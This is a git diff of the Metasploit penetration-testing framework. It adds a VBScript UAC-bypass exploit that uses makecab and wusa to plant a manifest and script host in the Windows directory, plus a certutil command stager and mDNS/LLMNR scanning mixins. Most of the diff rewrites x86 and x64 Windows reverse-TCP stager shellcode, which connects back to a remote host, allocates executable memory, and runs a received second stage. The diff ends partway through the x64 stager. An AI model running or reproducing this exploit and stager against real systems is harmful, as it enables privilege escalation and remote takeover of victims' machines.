diff --git a/Gemfile.lock b/Gemfile.lock index 561cd0b6f8..aeb9d12d1e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.10) + metasploit-payloads (= 1.0.12) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.10) + metasploit-payloads (1.0.12) metasploit_data_models (1.2.5) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/data/exploits/scripthost_uac_bypass/bypass.vbs b/data/exploits/scripthost_uac_bypass/bypass.vbs new file mode 100644 index 0000000000..0ba2444d13 --- /dev/null +++ b/data/exploits/scripthost_uac_bypass/bypass.vbs @@ -0,0 +1,62 @@ +Option Explicit + +Dim oWs: Set oWs = CreateObject("WScript.Shell") +Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") +Dim HOST_MANIFEST: HOST_MANIFEST = _ + "" & vbCrLf & _ + "" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + " true" & vbCrLf & _ + " true" & vbCrLf & _ + " " & vbCrLf & _ + " " & vbCrLf & _ + "" + + +Sub Copy(ByVal sSource, ByVal sTarget) + Dim sTempFile: sTempFile = GetTempFilename() + oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True + oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True + oFso.DeleteFile sTempFile +End Sub + +Sub Elevate() + Const WINDIR = "%windir%" + Dim sPath: sPath = Left(WScript.ScriptFullName, _ + InStrRev(WScript.ScriptFullName, "\")) + Dim sHost: sHost = Right(WScript.FullName, 11) + Dim sManifest: sManifest = sPath & sHost & ".manifest" + Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) + oStream.Write HOST_MANIFEST + oStream.Close + Copy sManifest, WINDIR + Copy WScript.FullName, WINDIR + oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART" + oFso.DeleteFile sManifest +End Sub + +Function GetTempFilename() + Const vbTemporaryFolder = 2 + Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) + GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) +End Function + +Sub RunAsAdmin() + oWs.Run "COMMAND" +End Sub + +If WScript.Arguments.Named.Exists("RESTART") Then + RunAsAdmin +Else + Elevate +End If diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 952f32f051..d2ba08fc3f 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -9,52 +9,62 @@ module Msf def init_module_paths(opts={}) if @module_paths_inited fail "Module paths already initialized. To add more module paths call `modules.add_module_path`" - else - # Ensure the module cache is accurate - self.modules.refresh_cache_from_database - - add_engine_module_paths(Rails.application, opts) - - Rails.application.railties.engines.each do |engine| - add_engine_module_paths(engine, opts) - end - - # Initialize the user module search path - if (Msf::Config.user_module_directory) - self.modules.add_module_path(Msf::Config.user_module_directory, opts) - end - - # If additional module paths have been defined globally, then load them. - # They should be separated by semi-colons. - if self.datastore['MsfModulePaths'] - self.datastore['MsfModulePaths'].split(";").each { |path| - self.modules.add_module_path(path, opts) - } - end - - @module_paths_inited = true + return end + + allowed_module_paths = [] + extract_engine_module_paths(Rails.application).each do |path| + allowed_module_paths << path + end + + if Msf::Config.user_module_directory + allowed_module_paths << Msf::Config.user_module_directory + end + + Rails.application.railties.engines.each do |engine| + extract_engine_module_paths(engine).each do |path| + allowed_module_paths << path + end + end + + # If additional module paths have been defined globally, then load them. + # They should be separated by semi-colons. + self.datastore['MsfModulePaths'].to_s.split(";").each do |path| + allowed_module_paths << path + end + + # If the caller had additional paths to search, load them. + # They should be separated by semi-colons. + opts.delete(:module_paths).to_s.split(";").each do |path| + allowed_module_paths << path + end + + # Remove any duplicate paths + allowed_module_paths.uniq! + + # Update the module cache from the database + self.modules.refresh_cache_from_database(allowed_module_paths) + + # Load each of the module paths + allowed_module_paths.each do |path| + self.modules.add_module_path(path, opts) + end + + @module_paths_inited = true end private - # Add directories `engine.paths['modules']` from `engine`. + # Extract directories `engine.paths['modules']` from `engine`. # # @param engine [Rails::Engine] a rails engine or application # @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths} - # @return [void] - def add_engine_module_paths(engine, options={}) - modules_paths = engine.paths['modules'] - - if modules_paths - modules_directories = modules_paths.existent_directories - - modules_directories.each do |modules_directory| - modules.add_module_path(modules_directory, options) - end - end + # @return [Array] The list of module paths to load + def extract_engine_module_paths(engine) + engine.paths['modules'] ? engine.paths['modules'].existent_directories : [] end + end end end -end \ No newline at end of file +end diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb new file mode 100644 index 0000000000..a1617b2226 --- /dev/null +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- +require 'msf/core/auxiliary/mdns' + +module Msf + # This module provides methods for working with LLMNR + module Auxiliary::LLMNR + include Auxiliary::MDNS + + # Initializes an instance of an auxiliary module that uses LLMNR + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), + Opt::RPORT(5355), + # TODO: allow more than one + OptString.new('NAME', [true, 'The name to query', 'localhost']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']) + ], + self.class + ) + end + end +end diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb new file mode 100644 index 0000000000..fc3f6860c2 --- /dev/null +++ b/lib/msf/core/auxiliary/mdns.rb @@ -0,0 +1,108 @@ +# -*- coding: binary -*- +require 'net/dns' + +module Msf + # This module provides methods for working with mDNS + module Auxiliary::MDNS + # Initializes an instance of an auxiliary module that uses mDNS + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), + Opt::RPORT(5353), + OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) + ], + self.class + ) + end + + def setup + query_class_name + query_type_name + end + + def build_probe + @probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data + # TODO: support QU vs QM probes + # @probe[@probe.size-2] = [0x80].pack('C') + # @probe + end + + def query_class + if datastore['CLASS'] =~ /^\d+$/ + datastore['CLASS'].to_i + else + datastore['CLASS'].upcase + end + end + + def query_class_name + Net::DNS::RR::Classes.new(query_class).to_s + end + + def query_class_num + Net::DNS::RR::Classes.new(query_class).to_i + end + + def query_type + if datastore['TYPE'] =~ /^\d+$/ + datastore['TYPE'].to_i + else + datastore['TYPE'].upcase + end + end + + def query_name + datastore['NAME'] + end + + def query_type_name + Net::DNS::RR::Types.new(query_type).to_s + end + + def query_type_num + Net::DNS::RR::Types.new(query_type).to_i + end + + def describe_response(response) + decoded = Resolv::DNS::Message.decode(response) + answers = decoded.answer + + if answers.empty? # not sure this will ever happen... + "no answers" + else + # there are often many answers for the same RR, so group them + grouped_answers = answers.group_by { |name, _, _| name } + # now summarize each group by noting the resource type and the notable + # part(s) of that RR + summarized_answers = grouped_answers.map do |name, these_answers| + summarized_group = these_answers.map do |_, _, data| + case data + when Resolv::DNS::Resource::IN::A + "A #{data.address}" + when Resolv::DNS::Resource::IN::AAAA + "AAAA #{data.address}" + when Resolv::DNS::Resource::IN::PTR + "PTR #{data.name}" + when Resolv::DNS::Resource::IN::SRV + "SRV #{data.target}" + when Resolv::DNS::Resource::IN::TXT + "TXT #{data.strings.join(',')}" + else + data.inspect + end + end + "#{name}: (#{summarized_group.join(", ")})" + end + summarized_answers.join(', ') + end + end + + def request_info + "#{query_name} #{query_class}/#{query_type}" + end + end +end diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index c88cba7dd9..2fb5934729 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -20,6 +20,8 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/kademlia' +require 'msf/core/auxiliary/llmnr' +require 'msf/core/auxiliary/mdns' require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 27950bf9e7..d64d0c39ff 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -181,7 +181,9 @@ module Auxiliary::UDPScanner end # Called for each response packet - def scanner_process(data, shost, sport) + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data end # Called before the scan block diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index b220d6c429..02e6fd1296 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -242,7 +242,7 @@ module Msf dev ||= datastore['INTERFACE'] dst_mac, src_mac = lookup_eth(dhost, dev) if dst_mac == nil and not bcast - return false + raise RuntimeError, 'Unable to determine the destination MAC and bcast is false' end inject_eth(:payload => payload, :eth_daddr => dst_mac, :eth_saddr => src_mac) end diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 709c797925..9d33a97c8b 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -20,6 +20,7 @@ module Exploit::CmdStager :printf => Rex::Exploitation::CmdStagerPrintf, :vbs => Rex::Exploitation::CmdStagerVBS, :vbs_adodb => Rex::Exploitation::CmdStagerVBS, + :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP } diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index d7532bdfb4..a124881f76 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -113,6 +113,8 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" elsif (in_ctx_id == 'WPVDB') self.site = "https://wpvulndb.com/vulnerabilities/#{in_ctx_val}" + elsif (in_ctx_id == 'PACKETSTORM') + self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif (in_ctx_id == 'URL') self.site = in_ctx_val.to_s else diff --git a/lib/msf/core/module_manager/cache.rb b/lib/msf/core/module_manager/cache.rb index a1f626a5a6..a0c7f34856 100644 --- a/lib/msf/core/module_manager/cache.rb +++ b/lib/msf/core/module_manager/cache.rb @@ -113,15 +113,15 @@ module Msf::ModuleManager::Cache framework.db.update_all_module_details end - refresh_cache_from_database + refresh_cache_from_database(self.module_paths) end end # Refreshes the in-memory cache from the database cache. # # @return [void] - def refresh_cache_from_database - self.module_info_by_path_from_database! + def refresh_cache_from_database(allowed_paths=[""]) + self.module_info_by_path_from_database!(allowed_paths) end protected @@ -149,10 +149,12 @@ module Msf::ModuleManager::Cache # @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type, # :reference_name. - def module_info_by_path_from_database! + def module_info_by_path_from_database!(allowed_paths=[""]) self.module_info_by_path = {} if framework_migrated? + allowed_paths = allowed_paths.map{|x| x + "/"} + ActiveRecord::Base.connection_pool.with_connection do # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file. # Use find_each so Mdm::Module::Details are returned in batches, which will @@ -162,6 +164,9 @@ module Msf::ModuleManager::Cache type = module_detail.mtype reference_name = module_detail.refname + # Skip cached modules that are not in our allowed load paths + next if allowed_paths.select{|x| path.index(x) == 0}.empty? + typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) # join to '' so that typed_path_prefix starts with file separator typed_path_suffix = File.join('', typed_path) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 360b690355..d11c607606 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds some bytes! + space += 44 space += uuid_required_size if include_send_uuid @@ -108,137 +108,155 @@ module Payload::Windows::ReverseTcp ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: - push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. - push 0x5F327377 ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "ws2_32" ) + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call ebp ; WSAStartup( 0x0190, &WSAData ); - - create_socket: - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: - push #{retry_count} ; retry counter - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call ebp ; connect( s, &sockaddr, 16 ); + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); - test eax,eax ; non-zero means a failure + test eax,eax ; non-zero means a failure jz connected - handle_failure: - dec dword [esi+8] + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi+8] jnz try_connect ^ if opts[:exitfunk] asm << %Q^ - failure: - call exitfunk - ^ + failure: + call exitfunk + ^ else asm << %Q^ - failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - ^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ end - # TODO: Rewind the stack, free memory, try again -=begin - if opts[:reliable] - asm << %Q^ - reconnect: - - ^ - end -=end asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. connected: - ^ + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, &dwLength, 4, 0 ); + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); ^ - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end - - asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: ; - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect if reliable asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails cmp eax, 0 - jle failure + jle cleanup_socket ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_socket: + ; clear up the socket + push edi ; socket handle + push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call ebp ; closesocket(socket) + + ; restore the stack back to the connection retry count + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage ^ if opts[:exitfunk] diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index d385fd4baa..5fab3a313f 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -33,25 +33,11 @@ module Payload::Windows::Exitfunk_x64 ret ; Return to NULL (crash) ^ - # On Windows Vista, Server 2008, and newer, it is not possible to call ExitThread - # on WoW64 processes, instead we need to call RtlExitUserThread. This stub will - # automatically generate the right code depending on the selected exit method. - when 'thread' asm << %Q^ - mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) - call rbp ; GetVersion(); (AL will = major version and AH will = minor version) - add rsp, 40 ; cleanup the default param space on stack - cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 - jl exitfunk_goodbye ; Then just call the exit function... - cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on - ; Windows Vista, 2008 or 7... - jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - exitfunk_goodbye: ; We now perform the actual call to the exit function push 0 ; pop rcx ; set the exit function parameter + mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); ^ diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 6be0bfdd1b..3110f5642e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -62,12 +62,12 @@ module Payload::Windows::ReverseTcp_x64 # def generate_reverse_tcp(opts={}) combined_asm = %Q^ - cld ; Clear the direction flag. - and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned - call start ; Call start, this pushes the address of 'api_call' onto the stack. + cld ; Clear the direction flag. + and rsp, ~0xF ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} start: - pop rbp + pop rbp ; block API pointer #{asm_reverse_tcp(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -84,11 +84,11 @@ module Payload::Windows::ReverseTcp_x64 # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK 'seh' is the worst case, that adds 15 bytes + space += 15 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds bytes! + space += 57 space += uuid_required_size if include_send_uuid @@ -105,7 +105,6 @@ module Payload::Windows::ReverseTcp_x64 # def asm_reverse_tcp(opts={}) - # TODO: reliability coming later reliable = opts[:reliable] retry_count = [opts[:retry_count].to_i, 1].max encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first @@ -114,88 +113,172 @@ module Payload::Windows::ReverseTcp_x64 asm = %Q^ reverse_tcp: - ; setup the structures we need on the stack... + ; setup the structures we need on the stack... mov r14, 'ws2_32' - push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. - mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. - sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData - ; structure (+8 for alignment) - mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. + push r14 ; Push the bytes 'ws2_32',0,0 onto the stack. + mov r14, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call. + sub rsp, #{408+8} ; alloc sizeof( struct WSAData ) bytes for the WSAData + ; structure (+8 for alignment) + mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call. mov r12, #{encoded_host_port} - push r12 ; host, family AF_INET and port - mov r12, rsp ; save pointer to sockaddr struct for connect call + push r12 ; host, family AF_INET and port + mov r12, rsp ; save pointer to sockaddr struct for connect call + ; perform the call to LoadLibraryA... - mov rcx, r14 ; set the param for the library to load - mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call rbp ; LoadLibraryA( "ws2_32" ) + mov rcx, r14 ; set the param for the library to load + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; LoadLibraryA( "ws2_32" ) + ; perform the call to WSAStartup... - mov rdx, r13 ; second param is a pointer to this stuct - push 0x0101 ; - pop rcx ; set the param for the version requested - mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call rbp ; WSAStartup( 0x0101, &WSAData ); + mov rdx, r13 ; second param is a pointer to this stuct + push 0x0101 ; + pop rcx ; set the param for the version requested + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call rbp ; WSAStartup( 0x0101, &WSAData ); + + ; stick the retry count on the stack and store it + push #{retry_count} ; retry counter + pop r14 + + create_socket: ; perform the call to WSASocketA... - push rax ; if we succeed, rax wil be zero, push zero for the flags param. - push rax ; push null for reserved parameter - xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure - xor r8, r8 ; we do not specify a protocol - inc rax ; - mov rdx, rax ; push SOCK_STREAM - inc rax ; - mov rcx, rax ; push AF_INET - mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - mov rdi, rax ; save the socket for later + push rax ; if we succeed, rax wil be zero, push zero for the flags param. + push rax ; push null for reserved parameter + xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure + xor r8, r8 ; we do not specify a protocol + inc rax ; + mov rdx, rax ; push SOCK_STREAM + inc rax ; + mov rcx, rax ; push AF_INET + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + mov rdi, rax ; save the socket for later + + try_connect: ; perform the call to connect... - push 16 ; length of the sockaddr struct - pop r8 ; pop off the third param - mov rdx, r12 ; set second param to pointer to sockaddr struct - mov rcx, rdi ; the socket - mov r10d, 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call rbp ; connect( s, &sockaddr, 16 ); - ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*4} ; cleanup the stack allocations + push 16 ; length of the sockaddr struct + pop r8 ; pop off the third param + mov rdx, r12 ; set second param to pointer to sockaddr struct + mov rcx, rdi ; the socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call rbp ; connect( s, &sockaddr, 16 ); + + test eax, eax ; non-zero means failure + jz connected + + handle_connect_failure: + dec r14 ; decrement the retry count + jnz try_connect ^ + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: - ; Receive the size of the incoming second stage... - sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the second stage length - mov rdx, rsp ; set pointer to this buffer - xor r9, r9 ; flags - push 4 ; - pop r8 ; length = sizeof( DWORD ); - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, &dwLength, 4, 0 ); - add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next - ; Alloc a RWX buffer for the second stage - pop rsi ; pop off the second stage length - push 0x40 ; - pop r9 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; - pop r8 ; MEM_COMMIT - mov rdx, rsi ; the newly recieved second stage length. - xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the size of the incoming second stage... + sub rsp, 16 ; alloc some space (16 bytes) on stack for to hold the + ; second stage length + mov rdx, rsp ; set pointer to this buffer + xor r9, r9 ; flags + push 4 ; + pop r8 ; length = sizeof( DWORD ); + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, &dwLength, 4, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jle cleanup_socket + ^ + end + + asm << %Q^ + add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + + ; Alloc a RWX buffer for the second stage + pop rsi ; pop off the second stage length + movsxd rsi, esi ; only use the lower-order 32 bits for the size + push 0x40 ; + pop r9 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; + pop r8 ; MEM_COMMIT + mov rdx, rsi ; the newly recieved second stage length. + xor rcx, rcx ; NULL as we dont care where the allocation is. + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); ; Receive the second stage and execute it... 